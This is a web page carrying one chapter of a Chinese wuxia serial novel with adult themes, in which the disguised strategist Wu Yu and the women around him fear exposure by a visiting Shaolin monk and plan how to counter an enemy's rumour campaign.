图片载入中

【剑起云深】第6-10集 作者:紫屋魔恋 (3/4)

特大字】 【大字】 【中字】 【小字

【第十卷】第一章:战前之争

听母亲与吴羽准备好对付黑道联盟的手段,姬梦盈一张小嘴嘟得更高了。哪壶不开提哪壶,吴羽这人怎么偏偏就老想这种主意?但无论是母亲、辛婉怡又或是解明嫣都没有意见。前者脸蛋微红,转瞬间便恢复正常,后两者却是大羞。解明嫣羞得不敢�头,耳角似烧透了般红艳欲滴,辛婉怡嗔了他几句,若非知道事关重大,又为了帮吴羽这一把,依二女本性,只怕早要闹将起来。

虽知吴羽打算用的法子不是正道,但连番经历阴谋算计,姬梦盈也不是不知道,在这险恶武林中想要保得自身,光明正大的手段十有八九行不通。若有少林寺那般雄厚的实力、深刻的底子,自然可以不甩这些阴谋鬼蜮手法,但现在的威天盟却远远及不上。

明知这手段不好,姬梦盈也没法阻止,一来强敌当前,敌众我寡,这等小手段也是非用不可,二来……吴羽打算使用的手段,自己便想参与也没办法,也不知这人是否连这事也想到了,才刻意将自己排拒在外。

只是会议一停,大伙儿便散了,邵雪芊忙不�地去找姬平意,想必是要提醒他小心,吴羽要私下使用的手法虽不好让大哥知道,却须杨柔依配合,不可能将姬平意瞒个彻底,这方面也真得邵雪芊出面,而辛婉怡则是和解明嫣一起,一转一晃不知熘到了哪儿去,也不知是又去配药了,还是一如往常地去帮吴羽弄些可以食补的吃食。姬梦盈轻咬银牙,硬是跟在了吴羽后面。

“小姑娘怎么了?似乎……似乎在生气?”见姬梦盈跟了过来,吴羽伸手轻轻扶着头。黑道联盟之中势力错综复杂,他身为威天盟智囊,不能不戮力以赴,脑袋已经痛得要死了,万万经不起小女儿家耍赖扮痴,偏偏姬梦盈对他而言,意义大大不同。

虽说吴羽对这远未成熟的小姑娘没多大兴趣,但怎么看她都像女儿般可爱,对她那小小的醋意,也只能视若无睹,“若对我想的办法有意见……那我也没办法,如果不是为了彻底探出消息,不让马轩节节进逼,我也不会出此下策……”

“出此下策?是正中你下怀吧!”虽说一点也不想惹他生气,怕坏了他对自己的印象,但眼见这淫贼不只娘亲,连解明嫣都弄上手,接下来还不知要搞上多少女人,姬梦盈便忍不住要小小爆发一下。

“这等主意也出得来?偏偏娘却不愿反对,我说你……真是死性不改,要是暴露了怎么办?”

“没别的办法啊!”吴羽肩膀一耸。这法子难登大雅之堂,邵雪芊没当面翻脸,只怕已不是看自己在床上弄得她神魂颠倒,而是看在这是为姬平意出力的分上。

他倒是没想到,邵雪芊等人不反对,反倒是姬梦盈这小姑娘樱唇微嘟,一脸不喜,虽知这小姑娘还算知大体,不会给自己扯后腿,但女人心最是难测,他也不得不解释一下。

“岳少侠的探子能探到黑道联盟会议上的事情,已算上上大吉,但若当真想弄清楚黑道联盟中的势力分布,我……也非得自己出手不可……”

“难道……当真不能试试打草惊蛇的办法?”虽说自己的意见才一出口就被母亲和吴羽异口同声地否决,但姬梦盈还是不想放弃,“即便我们不出手,另外找人对黑道联盟挑衅或暗算,应该也不是难事,毕竟不论是先前的曹焉或现在的马轩,得罪的人都太多了,以你的手腕,要暗里挑动旁人稍稍扯黑道联盟的后腿,在名目上撇清本盟的关系绝对不是难事,为什么不肯?”

“要给黑道联盟找麻烦不难,问题在之中的分寸。要弄痛马轩,又不能让黑道联盟内的势力分布大乱,免得那隐藏起来的势力有机会一口气解决各个反对者,却是难啊。”摇了摇头,吴羽轻吐一口气,“说来,若换了以前的威天盟,这方面的事自有人办理,也不用我这般伤透脑筋……”

“有人吗?”听吴羽这么说,姬梦盈倒来了兴趣,先父在日的威天盟,什么事都正大光明,即便石渐多用智计,也很少做出这等暗中伤人的事儿,为什么吴羽会说有人办理这等事?

“不然……小姑娘认为,何以会有影剑门?”知道这小姑娘虽然头脑不差,但却少了磨练,更重要的是心思向不及此,一时间自然想不到其中关键,“威天盟在明、影剑门在暗,就是为了应付这等事情。换了当年的威天盟遇到这等状况,就会以威天盟主之名引少林派大师来此,稳住阵脚不让敌人有可趁之机,再由影剑门暗地出手,扯黑道联盟后腿,一明一暗的处事办法便是如此。只是此间手段的运用,却是密中之密,想必令尊也不会让你知道,怕连盟主都不晓得吧?”

“喔……”又被骂笨了,姬梦盈小嘴嘟得更高,偏偏知道在这方面与他争论,十有十成是自己输,“那……梦盈帮不了你对付那人,至少……至少可以帮忙擒人,别让梦盈连忙都帮不上……”

“这个……”虽知武林中人的争斗,比起沙场争战也好不了许多,其间之险尤有过之,若自己让姬梦盈出手,别说姬平意不会同意,多半连邵雪芊也不赞同,但吴羽比任何人都知道,要在武林中争一席之地,自立自强是唯一的办法,光只是用谋、用计削弱旁人,这等情况下的傲视群伦毫无意义,而要自立自强,就得增加经验,实战正是最好的办法。这等情况下若让姬梦盈动手,至少还有自己可以照拂,“到时候会让小姑娘有动手机会,但绝对要先照顾自己,知道吗?”

听吴羽答允了自己所愿,姬梦盈本有些浮躁的心渐渐平缓下来,只是此事牵涉甚大,还得要等黑道联盟那边的人出现破绽。吴羽还没有安排好,少林寺那边的人已经到了。

当那红光满面的长须僧人禅杖拄地,缓步而入的当儿,别说邵雪芊与姬平意起身相迎,甚至连向来高傲的远雄堡主金贤宇,也不得不礼数周全。

虽知少林寺威名远播,尤其这老僧虽是低眉垂目,但行动之间如岳之稳,一见便知武功不弱,姬梦盈却没想到,来人尚未通名,威天盟众人已纷纷起身,难不成所谓的名门正派就连作客时,都得摆出如此排场?

一转眼却见吴羽不可见地低了低头,神情微带沈郁,走上前去迎接的步子竟似有些踌躇,心想着莫非来者吴羽早就认识?

见那僧人在上位落了座,与姬平意交换着客套话,姬梦盈本想发问,但限于身份,吴羽和邵雪芊都得在上位相陪,姬梦盈左看右看,除了缩在一旁的解明嫣外,她竟是无可发问。

虽说对这三姨,姬梦盈心下难免有些醋意,但既然吴羽都答应了自己,这么点小事也就不放在心上了。她悄悄凑近解明嫣,低声问了出来:“那位大师是谁?怎么好像大家都认识一样,连……连前辈也……”

“那位荣华大师,十几年前就曾来过威天盟助阵,后来也曾好几次造访,说来大家都熟,也就不那么拘礼了。”没想到少林寺派了这人过来,解明嫣心下暗惊,不由得放低了声音,“这可是……大大出人意料了,本来他与大伙都是旧识,照说派他出来理所当然,只是荣华大师自十年前便深居山门,据说是苦修少林寺八十一绝技中的一门绝式,为此清修苦思十年不出,也不知修成了没有?没想到为了这回事,竟然将他请了出来,真是……这下倒好,一碰上了岂不麻烦?”

“其实梦盈小时候也见过他,只是时日已久,那时梦盈又年幼,大概……还不过三、四岁,就算大师曾经抱过你,想必梦盈也不记得了……”旁听的辛婉怡仔细看着座上几人,确定所有人言语神情间都没有什么异样的地方,好不容易才松开了紧握的拳头,插了句话进来,“那时若非大师协助赐药,延了梦盈的小命,说不定还撑不到‘九转龙珠’。说来,他对梦盈有恩呢!”

“是……是吗?”没想到那道貌岸然,言语间平和温厚,虽说话不多,却令听者如沐春风的大师,和自己竟有如此渊源。姬梦盈暗地吐了吐舌,心下却知解明嫣和辛婉怡究竟在紧张什么。

若说荣华大师与威天盟的渊源是在十几年前就开始的,那时威天盟最大的功业,就是拼命追杀段翎这淫贼,即便佛门中人慈悲为怀,但淫贼之行在武林中可说人人喊打,威天盟追杀段翎的行动,要荣华大师不参加几乎是不可能的,想要这位大师不认得段翎的本来面目更不可能!

偏偏座上的吴羽便是段翎所化,虽说面目与当年早判若两人,气质行动更与那时的翩翩少侠大有不同,即便是当日追杀他的石渐、全极中或刘濠,都没能认出他来。但现在的对象可是少林寺的大师,盛名之下无虚士,少林寺久执武林牛耳,也不知有没有什么奇特手段能看穿他的伪装,只怕连吴羽自己都无法保证,也怪不得心中有鬼的辛婉怡和解明嫣紧张了,反倒是邵雪芊竟还能装作行若无事,姬梦盈不得不佩服,自家母亲真是处变不惊,自己还有得学呢!

虽同样想到了此处,姬梦盈却不若辛解二女这般紧张,毕竟对她而言,吴羽不是那凶邪好色的淫贼,而是自己的救命恩人,甚至……还是靠着自己才能解去金龙刺的可怜人。

每当想到他被金龙刺扣着,在崖下捱着风风雨雨,被自己拔出金龙刺时,还痛得昏了过去的种种,姬梦盈只觉胸中那怜惜之意汹涌难息,即便知道这人确实好色,心下对他也没有少女对淫贼的本能恨意。

“是福不是祸,是祸躲不过。”放轻声音安慰二女,姬梦盈虽也皱眉,但她对吴羽的信心大得异乎寻常,不信这点小事他解决不了,“若那位大师当真认出他来,大不了来个打死不认……”

没想到姬梦盈竟不把此事放在心上,解明嫣不由皱眉摇头。这小姑娘也未免太不知轻重,便不说吴羽这人确实淫邪,这等事被他弄上床的女人最清楚不过,前些夜里自己和邵雪芊轮流上阵,还不是被他搞得神魂颠倒、服服贴贴。

俗语说相随心转,在这方面实力高明的人,与平常人必有不同之处,瞒得过旁人可未必瞒得过少林寺的大师,否则江湖上的淫贼也不会那么好抓了。

再说荣华大师年高德劭,甚至比掌门荣星还要年长些,在武林中声威显着,若他当真咬定了吴羽便是段翎所化,只怕旁人不会缠着他要他提出证据,反而会逼吴羽自己找出证据证明清白,就算是姬平意怕也挡不住这汹汹怒潮,这就是名门正派的威信了。

也因此一见到荣华大师出现,她和辛婉怡的心便悬了起来,就算是久历大事的邵雪芊仍保着神色如常,紧握的手心也是冷汗不断,就连吴羽都似有些紧张,哪里像姬梦盈这小姑娘什么都不懂,还能一如往常的天真?

不理身后的解明嫣和辛婉怡紧张得连面色都变了,姬梦盈深吸几口气,平复激动的心情,觑了个空子走上前去,对着荣华大师盈盈一礼,“大师当面,姬梦盈在此有礼了。”

“十年不见,姑娘身子轻健,想必沈瘌已愈,老衲恭喜姑娘了。”见姬梦盈走上前来,荣华大师何等眼光,虽说不满五岁的小娃儿和如今的侠女形容全然不同,但眼见她与邵雪芊如出一辙的样貌,哪里还分辨不出来是什么人?

眼见这小姑娘行动自如,显然暗伤早愈,若论武功只怕不弱于姬平意太多,荣华大师不由欣喜,“也是姬夫人前世今生积德,方能有此福报……”

“多谢大师吉言。”见女儿出来,邵雪芊一则以喜一则以忧。见来者是荣华大师,她便不能不担心,从迎接到现在,拼命地将话题转开,尽量不让荣华大师的注意力留在吴羽身上。

偏偏她如此努力,却是皇帝不急急死太监,吴羽状似有些紧张,却比她自如多了,也不回避话题,恰到好处地展现着一个游方武林人在面对少林门下声威、德行卓着大师时的紧张。

邵雪芊一边心下暗骂,这人也不知自己这般紧张担心是为了谁,一边努力着,生怕这人的真正身份被荣华大师拆穿,讲到都快没话好讲了,甚至连姬平意都已觉得自己奇怪,幸好女儿及时出言,倒少了自己的尴尬,“梦盈,还不谢谢大师?当年若非大师援手,只怕你也没法长到这么大了……”

“是,多谢大师当年相救,梦盈点滴在心……”

“不用多礼。”见姬梦盈便欲叩拜,荣华大师双手合十,一股劲力缓缓透出,硬是撑住了姬梦盈下拜的娇躯,将她慢慢撑了起来,即便以姬梦盈家变之后大有长进的功力,遇上了荣华大师这等高手,仍是颇有不及,便是想真拜下去,仍是无能为力,只能顺力站起,退到了一边,“老衲不过举手之劳,何足挂齿?姑娘行侠江湖,便是甘霖普降,老衲亦感同欢。”

“是……”虽知自己功力再有长进,跟荣华大师几十年功力相较之下,仍是小巫见大巫,但姬梦盈年轻难免气盛,颇想试试自己功力究竟如何,没想到荣华大师手足不动,只是劲气透出,自己便连跪拜都下不去,姬梦盈不由暗吐香舌。

荣华大师如此武功,当年跟姬园等联手,仍是留不下段翎这淫贼,由此便可知这人当年的雄风,只是从崖下再出之后,也不知是因伤导致武功退步,还是为了隐瞒身份,吴羽的表现可没有当年那般厉害呢!她不由偷偷瞧向另一边的他。

不看还可,一看却发现了吴羽微低的脸上一闪而逝的惧意。只是荣华大师行若无事地一展武功,在场的都是高手,自是看得出其中关键,各个正自暗中或惊佩、或讶异,加上吴羽掩饰得好,那神色一闪即逝,倒没几个人注意到吴羽面上变色。

姬梦盈看在眼里,心下方觉母亲的紧张确有来由。荣华大师对段翎非是不识,他武功又如此之高,只怕十个自己都非其对手,若在这等情况下拆穿了身份,吴羽便诡计百变,能可全身而退,怕也顾不了辛婉怡等人。

“大师远来,想必路上疲惫,在下特备了素斋,今夜为大师接风洗尘。”见荣华大师如此行若无事地托起了妹妹,姬平意惊佩之间心下更喜。有此人在威天盟,料马轩也不敢妄动,然而心中却有股异样的感觉,好似在厅中出了什么自己不知道的状况一般,总觉得气氛有些诡异。他暗地摇了摇头,将那异样的心思驱出脑海,毕竟现下可不是说这个的时候,“还请大师务必赏光。”

“这是当然。”荣华大师淡淡一笑,转向吴羽。在来此之前,他就曾与荣盛、荣生两位师弟谈论过威天盟目前的状况,对威天盟与黑道联盟之间的争执了然于心,说来若非为了与威天盟已故诸人一点情谊,加上佛门心思慈悲为怀,身为出世之人,可不希望卷入纷争之中。

只是这一谈之下,却听得吴羽这人在威天盟中异军突起,虽说容貌丑陋不堪,武功手段在威天盟中却是首屈一指,即便他已是方外之人,却也不由好奇,是以一进来威天盟他的注意力有一半倒留在吴羽身上。

但吴羽却丝毫没有展现己身实力的念头,无论言语行动,均以逊让为先,一点不愿抢了姬平意的风头,与那表面上守礼如常,言语行动间却颇想和姬平意一争高下的金贤宇,相差可是天壤之别。

但此等行径,却让荣华大师对他的兴趣愈发高了。在他看来,这吴羽虽是貌丑,表面上看不出年纪,但怎么看也只约略四旬,正是年壮气盛之时,能知逊让之道,绝不与盟主或旁人争锋,这等涵养也是难能。怪不得以荣盛、荣生两位师弟,对此人也是多有赞赏,显然颇看得起他。

不过入厅之后,荣华大师便颇感奇怪,不只是邵雪芊言语之间颇不愿将话题带到此人身上,也不知是不想让他的风头压过了自己儿子,还是想隐着此人做为奇兵。若是前者,他也只能暗叹女子量窄,即便是冷月仙姑这等武林侠女,也未能免俗。

而更令他讶异的是,自己竟似对此人颇有熟悉之感,偏偏以吴羽这等面貌,若是以往见了,绝不会毫无印象,偏偏荣华大师搜索枯肠,却一点找不到自己与此人的交游记忆。难不成是自己记错了,还是人有相似、物有相同?

“据敝师弟所言,吴兄为姬盟主打理威天盟事务,才智、武功均有过人之处,敝师弟颇为赞赏,这几日还请吴兄多加教益,老衲不胜之喜。”

向着吴羽一礼,荣华大师神色如常,却令厅中一阵骚动,就连吴羽自己也似颇为震动,一旁的金贤宇还沈得住气,他身后的远雄堡众人可就没那么冷静了。

荣华大师也是众人旧识,当年便全极中气焰最盛之时,对他也不敢稍有无礼,一半是由于惹不起少林,另一半也是因为他当真对此人服气。没想到荣华大师进来之后,虽对众人皆是礼敬,却独独对吴羽有此等谦退言语,教原就不甚心服的远雄堡众人哪里受得了?若非金贤宇目光巡行镇压,只怕当场就要出乱子。

“吴羽不敢。”见荣华大师转向自己,还礼的吴羽嘴角泛起一丝苦笑,“还请大师指教。”

在洗尘宴之前,先请荣华大师回房休息,众人则各自散去,备宴的备宴、戒备的戒备,只留下邵雪芊等女子齐集在吴羽身边,后者吁出了一口长气,显然要撑着行若无事,也是辛苦。

“幸好,总算是瞒过去了。”只觉手里背心都是汗,早春天气乍暖还寒,加上时候近晚,邵雪芊身上一寒,幸好她武功高明、功力深厚,换了旁的人这样冷热一激,不着凉才怪呢!

她望向吴羽的目光满是惧意和怒气,险些想一拳就槌下去,“大师又不是不认识你,也不想想自己身份,还跟大师靠得这么近,要是被他看出你的真身,一旦叫出声来,看你怎么逃出生天?”

“可不是吗?”听母亲又急又气,声音中难以掩饰心情,姬梦盈只觉胸中微酸,一股难以想像的滋味充溢心头,却不好发作。毕竟荣华大师虽暂时离开,客房距此却不远,若是声音一个收不住,也不知会否被他听到?

佛门的六道神通虽说夸张了些,但以荣华大师的功力,自己一个放声,只怕真会被他听去机密,“照说来的既然是大师,前辈你就该有多么远,就闪多么远,无论如何……总不能冒着被发现的险。今儿个是逃过了,可若以后被大师发觉了,该怎么办才好?”

“便想逃……也不一定能逃一辈子。”没想到荣华大师才去,自己就被围剿,但见不只是邵雪芊和姬梦盈焦急溢于言表,辛婉怡也是满面担忧,握着自己的纤手满是冷汗,吴羽心中不由感动,回握着她的手微微用力,着辛婉怡平静下来,“身在威天盟,与大师�头不见低头见,不可能永远找得到理由,与其逃逃躲躲惹人猜疑,不若冒次险……反正险这个样子,他也未必看得出……”

“可……还是太冒险了。”虽知吴羽现在的脸孔与当年的段翎差距何只千里,只怕除了自己和辛婉怡这等亲近之人外,旁人怎么也难以将两人联想在一起,吴羽这险值得冒,但邵雪芊仍不住害怕,“大师修道已久,非凡人可比,若他真看出你来……看你要怎么躲?真是的……”

“这个……”想到荣华大师离开前的目光,吴羽心下微颤。连与石渐、全极中照面,他都不怕被认出,即便荣华大师修佛有成,总非传说中练成了佛门六道神通的高人,能够连旁人的心思都轻易看穿,只是他虽有把握荣华大师认不出自己,但对方见到自己时神情有异,显然荣华大师不像石渐和全极中那般睁目如盲,说不定已经有了怀疑,只是没有办法确认而已。

但这等事却不好跟她们说,一来看到荣华大师造访时,邵雪芊等女子已经极为紧张,无论如何自己不该让她们慌如惊弓之鸟,二来荣华大师是否认得出自己,还在两可之间。虽说以荣华大师光风霁月之性,该不会用欲擒故纵的手段来钓自己,但自己的身份算是目下唯一的软肋,确实得小心一点才行。

“若真要说到担心,我担心的倒不是荣华大师……”摇了摇头,将心中的惊异驱出脑海。即便荣华大师看穿自己身份又如何?只要他没有说出这机密,自己留在威天盟中努力应付黑道联盟,功苦劳绩做了出来,除了远雄堡那些不分轻重的家伙外,想必旁人也不会疑到这方面去。

“难道……还有谁有可能知道你的身份?”听吴羽这句话,本来见荣华大师没有异样,心已放了下来的邵雪芊不由又提心吊胆起来。若吴羽的身份被拆穿,十有八九连自己与他之间的事也瞒不过人,说不定还要捎带上辛婉怡和解明嫣,若是那丑事泄露出去……邵雪芊可一点都不敢想像那种后果。不只自己身败名裂,说不定连带着姬平意与威天盟也要完蛋!

荣华大师也还罢了,若有可能知道吴羽身份的还有旁人,杀人灭口、斩草除根的手段她虽不喜,也只能用上一点半点了!

“那日拆穿石渐与刘濠图谋之时,马轩退得极快,就好像亲眼见到厅中发生的事一般。”抓了抓头,吴羽只觉头疼,十几年前他便与威天盟这票人周旋过不知多少次,那时便知马轩这人不好对付,却没想到竟如此厉害,弄得他甚至不知道,那时自己重创石渐,让马轩有机会暗算杀他,究竟是做对了没有?留个石渐在影剑门,至少对马轩也算是一种牵制吧?

“事后好生回想,无论我或盟主的谋算,都没漏出什么空隙,想来厅中发生之事,马轩也不可能事先便知,十有八九是派了人暗中跟着刘濠,才能在厅中情况发出突然变化时,第一个采取应变手段。若他从厅中的状况对我生疑,又想到当日夫人与姬姑娘和我在同一地点坠崖,也不知他会否想到我身上来……”

“不……不会这样吧?”听吴羽竟猜到了马轩身上,邵雪芊胸口一窒。就算没有此事,对马轩她也非下杀手不可,毕竟敌我形势已明,现在早不是论当年情分的时候,

但她虽极想杀人灭口,先不论马轩武功多半还在她之上,光看马轩现已是黑道联盟盟主,想杀他便不是那么容易的事。

何况吴羽这想法,十有八九也算是多想了。纵使马轩真有怀疑,但口说无凭,马轩若找不出证据,总不能因此就能翻了吴羽的船!

没想到邵雪芊话才说出口,吴羽的头已是大摇特摇,“马轩根本不必去找证据,只要暗中透风就行了,毕竟远雄堡那些人极想找我的麻烦。何况对马轩来说,在两边当真对阵之前,用暗计扰乱本盟内部乃理所当然之事,就算他没有证据,只要想办法将这怀疑透露出来,造成本盟内部不合,真弄倒了我算他们赚到,弄不倒也没什么损失。无论最后结果如何,对黑道联盟或影剑门都无坏处,这等离间计对他而言,只是真正用兵之前的一点小小手段,根本就算不得什么的。”

“可恶……”听吴羽竟如此断言,邵雪芊虽心中不忿,却也只能咬牙切齿,谁教吴羽的结论下的如此笃定,她却是一点反论都提不出来?别说马轩对吴羽的身份有疑,即便无疑,而吴羽当真不是段翎所化,但两军相争本就无所不用其极。

何况黑道联盟的内部也有问题,恐怕无法全力应对威天盟,而马轩既然没办法纯以武力解决威天盟的问题,使用谋略就是极有可能之事。

指与向来不问门内杂事的解明嫣、专注医道的辛婉怡和天真无邪的姬梦盈不同,自姬园死后,姬平意又在君山派学艺,邵雪芊一直是栖兰山庄的领袖人物,对诡计方面的了解绝非三女可比,吴羽稍稍一提,她在心中盘算,便想得到马轩动用此计的后果。别人不说,一直对吴羽隐怀怨妒的远雄堡众人就非中这计不可,不是他们笨到真会相信马轩的诡谋,而是他们为了争夺威天盟里的权力,非要把姬平意的这支大支柱砍倒不可!说到最后,征结仍在想要对付姬平意上头。

“若是……若是当真如此,那前辈该怎么办?”虽没有母亲那般灵醒,一瞬间便想到了后果,但这段日子为了让自己进步成一个帮得上忙的女子,姬梦盈好生用功,无论武功策谋皆然,至少有了些进步,晚了母亲片刻便已想到了这可能性,偏生这等事全然无可预防,难不成要她叫大家别去相信马轩还没有散布出来的谣言?所谓的欲盖弥彰,便是如此而已!

“不怎么办。”吴羽双肩一耸,双手一摊。所谓的谣言流言战术,就是在这方面麻烦。

虽说信者恒信、不信者恒不信,但即便你事先知道,也不可能预防,除非你真的不跟外头有任何来往,否则如何堵住可能的流言?除非内部的所有人员正精诚团结,彼此互信,否则怎么可能要所有人都不受流言所惑?

怡心园的余众解明嫣还算掌控得住,君山派的人马在夫明轩的带领下也信得过,偏偏现下连金贤宇都未必控得住远雄堡,向来自高自傲的他们一直被吴羽打压,在威天盟内的地位跌落不少,若有机会却不一吐怨气,那可就不像全极中一手带出来的远雄堡了。

“可是……”没想到吴羽竟给了自己这么令人失望的答案,姬梦盈不由气沮,但仔细想想,她也不得不承认,吴羽这以不变应万变的法子,是应对流言的唯一办法。

无论事前如何预防都会予人此地无银三百两之感,反不若不动如山,等流言当真出来,再硬辩说只是敌人乱我军心的手段,到时候说不得还得用上些霹雳手段镇压。

她望了一眼母亲,却见点着头的邵雪芊眸中的坚决,心知不这样不行,姬梦盈轻吁了一口气,无奈地点头回应。“目下……也只能这样了……”

“能不能……找荣华大师想想办法?”见姬梦盈神色无奈,在邵雪芊的低声解释之下,解明嫣与辛婉怡也知道了其中艰难,偏偏两女都乏急智,也真无法可施,解明嫣蹙眉头疼之下,竟出了这么个连她自己都觉是馊主意的主意,偏偏话都出了口,也收不回来,只能继续说下去。

“若是……若是我们说岳少侠的探子,探出敌人可能用这等流言来乱我方心神,这理由……说不定可以说服荣华大师想办法。少林派见过多少世面,与我们妇道人家不能比,要应对流言,说不定荣华大师会有办法……毕竟佛门明心见性,最不容易为外物所移,何况我们先这样说了,到时候若有流言,荣华大师也不会这么容易上当,毕竟……毕竟现在的你……跟那个时候很……很不同了……”

听解明嫣吞吞吐吐地说完,邵雪芊的眉头愈皱愈紧。吴羽的身份问题确实严重,尤其现在自己与他的关系不同,无论是为了爱子的大业,又或这令自己沈沦迷乱的男子,她都不愿跟荣华大师打太多交道,生怕一个不小心露出破绽,便难以收拾。

没想到一转头,吴羽竟是微微颔首,瞧他面上神色,竟似对解明嫣的这个馊主意有几分赞同,芳心不由大恚。自己千方百计、想方设法就是不想你露出破绽,你竟然想要去找那最容易看穿你身份的大师交涉,这……这到底算什么?

“你……哎,别这么笨了,今儿个白天我看大师神色,对你似乎已有怀疑,只是你……你的脸和当年大不相同,所以才瞒过了大师,”虽知吴羽身为男子,对面容不像女子一般在意,但当年的段翎却是俊美翩翩,跟现在的他判若两人,也不知吴羽嘴上不说,心下是否还在意着,生怕自己一不小心触了马蜂窝,邵雪芊不得不小心言语,“若再多去找他,要是被看穿了……怎么办?”

“我可没说我要去。”想到今日荣华大师临去客房时飘然而过的眼神,吴羽心下也不由忐忑。除了与自己有肌肤之亲的女子,那等直觉是怎么也蒙混不了,以自己现在的模样,他有自信可以瞒过任何人,但少林寺久执武林牛耳,也不知有没有什么奇功异法,确实不小心不行,“但解夫人这法子却是可行,若解夫人自己去说,也不用说什么岳少侠探到的消息,就像刚刚那样吞吞吐吐,只说怕黑道联盟在本盟内散布谣言兴风作浪,以此请教大师,说不定真可有什么办法……”

“原来如此!”吴羽虽未挑明,但邵雪芊何等灵慧?姬梦盈也是一心专注在此,话才入耳瞬间便即明了,不约而同地拍掌叫了声妙,只令解明嫣一旁微怔,甚至没听懂这主意怎么个妙法?

见解明嫣一脸茫然,邵雪芊不由失笑,拉她入怀在她耳边轻声解释,解明嫣这才释怀。

若是吴羽亲自去说,虽可解为威天盟的智士猜出了敌人可能的行动,于情于理都可说得过去,但荣华大师若真对吴羽生疑,这话反而变成欲盖弥彰,确实不能不防,但解明嫣身为石渐的遗孀,在威天盟内本就是嫌疑所在,虽说邵雪芊力保,仍是远雄堡的心中芒刺。

以她的不自安,吞吞吐吐、扭扭捏捏地去问荣华大师解法,正表现出一个有口难辩,身心都承受极大压力的女子茫然欲求协助的心态,比之让吴羽再受嫌疑,这办法更加浑然天成,任谁都挑不出一点毛病来。

尤其荣华大师是威天盟的旧识,又明了世道人心,更深知威天盟内种种,对全极中遗留下来的远雄堡众人心思更是洞若观火,一直以来高高在上的远雄堡,却因全极中、朴钟瑞的先后身亡,势力大退,众人的心思最重要就是抢回全极中在世时的威名,偏偏全极中又因石渐所害致死,对解明嫣的敌意之盛溢于言表,虽不致动手,冷言冷语却是免不了的。

解明嫣又非呆子,以她的柔弱,不安到要请求荣华大师开示解惑,这才是理所当然到令人不可能生疑的绝佳借口。

没想到自己随口一语,竟歪打正着地解了这问题,解明嫣偎在邵雪芊怀中,羞喜之间一张宜嗔宜喜的脸蛋儿不由潮红,微蒙的美目看着邵雪芊那笑意盈盈的脸儿,愈发含羞带怯。一转眼间却见吴羽笑得诡异,芳心一震才想到自己与邵雪芊搂到了一处,偏偏娇躯却软得根本挣不出来。

见吴羽和解明嫣又自眉来眼去,姬梦盈心下不由微火,那酸意也不知由何而来,虽不想反驳解明嫣提出来这主意,却是一肚子的想要阻止,欲言又止之间好不容易才开了口:“这主意……这主意是不错啦,可是……可是还是得好生计较一番,毕竟……毕竟荣华大师造诣高明,若解姨言语间不慎露了破绽,反为不美,我想……还是得先好生讨论,看看该怎么说这些话才是……”

“这话倒也不错。”望了一眼姬梦盈,吴羽微微一笑,“其实如若不是面对荣华大师,本来我还有个主意,虽然是糟糕了些,但要应付马轩这等诡计,也可暂解燃眉之急就是……”

“什么主意?前辈何不说来听听?”说不定比解明嫣的主意要好很多,这句话姬梦盈虽忍住了没有出口,芳心却有些乱,又有种恨他爱卖关子的怒气。难不成这家伙真对解明嫣动了心,才会刻意引出她的主意?无论是好是歹,至少让解明嫣得些便宜,一来讨她欢心,二来也让她多点儿自信。

虽知自己这念头颇有些乱七八糟,姬梦盈却没办法禁止自己不去想这种事。“不是什么好主意……我说就是了。”本来还在卖关子,见不只是姬梦盈,连辛婉怡和邵雪芊都瞪向自己,反是身为事主的解明嫣还迷茫在邵雪芊怀里,似没听清自己在说什么,“当年的段翎……便不说是淫贼的时候,原先便与荣华大师不甚敦睦,对佛法也是毫无兴趣。若我现在跑去跟大师说,我对佛法极有兴趣,希望大师收我为俗家弟子,好钻研佛法,以求早日解脱,无论大师是否愿意收我为徒,又或猜我还有其他目的才有此论,但是至少……不会再疑我是个淫贼了……”

“你敢!”柳眉倒竖,大发娇嗔,不只邵雪芊双手插腰,连姬梦盈都气得一根纤指指向吴羽,一时半刻间只颤着收不回来,反倒是一边的辛婉怡摇头苦笑,似早知他没什么好主意。

别说邵雪芊和姬梦盈气上眉山,连偎在邵雪芊怀中,仿佛缩在这儿便是无上幸福的解明嫣都探出头来,心想这人的这个主意,不是故意气死邵雪芊还有什么?

邵雪芊和他的关系一点都不纯洁,也不知是欲是爱,还是关乎姬平意大业所为的牺牲,但肉欲的成分绝少不了。虽说俗家弟子不禁嫁娶,但修习佛法的影响之下,男女肉欲这方面的衰退是必然的,心境的变化必然影响身体。若这厮当真跑去当少林和尚的俗家弟子,床上功力必然减弱,这等事即便是她也清楚得很。

只是当局者迷,旁观者清,她努力拉着邵雪芊,不让后者当真跳上去找吴羽算帐。其实邵雪芊也知道,吴羽之所以插科打译,刻意扰乱气氛,就是为了别那么严肃,稍稍放松一下,段翎武功本偏道流,何况以他的个性,学儒修道还有几分机会,要习佛是绝不可能。若真说吴羽要出家,别人不说,才刚尝过这人床上本领的她是决然不信的。

转眼一看,旁边的辛婉怡也正拉住了姬梦盈。解明嫣心下了然,其实邵雪芊和姬梦盈心中或明或暗也知道吴羽不过是说个笑话,否则以两女武功之高,又是气急败坏之下,岂是自己和辛婉怡可以拉得了的?

她一边拉住邵雪芊,一边轻笑出声:“若你当真这么说,荣华大师也不会收你为徒,否则岂不是把少林派真拉到威天盟这边?即便荣华大师再亲善本盟,荣星掌门也绝不会坐视此事,你呀……这等笑话还是少说为是,看把雪芊姐姐气成了这个样子……差点就拉不住呢!”

“你……哎……”被解明嫣笑语盈盈地讽了几句,邵雪芊这才发觉自己竟忘了形,只是双手插腰、怒上眉山的河东狮样儿已摆了出来,一时半会间竟也收不回去,又羞又娇的她脸儿通红,动作虽摆了出来,红润娇艳的脸蛋儿却再无怒气,僵在那儿的模样再没几分怒狠,反是娇滴滴地极惹人怜惜,那样儿看得连姬梦盈都差点笑了出来,何况吴羽早有心理准备,哪有半点惧意?

邵雪芊虽已被吴羽在床上尽情征服,但一来此事绝不可为外人道,二来荣华大师到了威天盟,以他老于世道的眼光,又兼对威天盟众人知之甚详,邵雪芊小心得紧,白天里与吴羽别说没有半分亲近,刻意疏远间若非明知两人关系之人,只怕还会奇怪这两人是哪儿结下的梁子。

偏偏人的性格便如皮球一般,愈是压抑反弹愈是强烈,白日里愈是刻意疏远,晚上床笫间愈是纵情狂放,邵雪芊既有补偿他也补偿自己的心理准备,吴羽更似想从殚精竭虑思索的压力中解放出来,云雨之间勇猛得竟不似惜花之人。

